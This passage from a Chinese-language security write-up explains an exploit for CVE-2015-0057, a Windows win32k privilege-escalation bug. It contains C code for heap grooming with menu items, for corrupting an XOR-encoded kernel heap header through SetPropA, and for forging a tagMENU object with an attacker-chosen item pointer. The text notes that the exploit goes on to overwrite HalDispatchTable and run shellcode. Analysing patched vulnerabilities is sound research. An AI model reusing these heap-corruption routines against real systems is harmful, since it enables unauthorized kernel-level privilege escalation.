for (SHORT i = 0; i < MAX_OBJECTS - 0x20; i++)
{
MENUITEMINFOA mii;
mii.cbSize = sizeof(MENUITEMINFO);
mii.fMask = MIIM_ID;
mii.wID = 0xBEEFBEEF;
BOOL res = InsertMenuItemA(hmenutab[i], 0, TRUE, &mii);
if (res == FALSE)
return FALSE;
}
return TRUE;
}
2、這個是通過tagPROP來覆蓋堆頭的代碼,主要的目的是將size覆蓋掉,使其擴大,來達到覆蓋下面tagMENU的目的
VOID CorruptHeapHeader(PVOID menu_addr)
{
ULONG_PTR xored_header;
CHAR* tmp_header = NULL;
string decoded_header, xored_heap_deader, new_heap_header;
// decode first overlay heap header
xored_header = (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE;
decoded_header = XOR(string((CHAR*)xored_header, 16), xorKey);
// modify heap header
tmp_header = (CHAR*)decoded_header.c_str();
tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE) / 0x10; // new size
tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10]; // new checksum
// xor new heap header
new_heap_header = XOR(decoded_header, xorKey);
// overwrite first overlay heap header
for (int i = 0; i < MAX_FAKE_OBJECTS; i++)
SetPropA(spray_step_three[i], (LPCSTR)0x07, (HANDLE) * (ULONG_PTR*)(new_heap_header.c_str() + 8));
}
3、創建tagMENU的空間,后面的釋放在重新申請我就不貼代碼了,感興趣可以去ThunderJie師傅的exp中去找
VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr)
{
memset(new_objects, '\xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);
memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE, (CHAR*)menu_addr - _HEAP_BLOCK_SIZE, MENU_SIZE + _HEAP_BLOCK_SIZE);
// modify _MENU.rgItems value
* (ULONG_PTR*)(BYTE*)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;
RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT)-1, OVERLAY1_SIZE + MENU_SIZE - 2);
}
之后的流程就是修改HalDispatchTable和執行shellcode的流程了,比較套路化
四、參考
https://github.com/55-AA/CVE-2015-0057
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-010
https://www.anquanke.com/post/id/192604
https://blog.csdn.net/qq_35713009/article/details/102921859
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1439/
暫無評論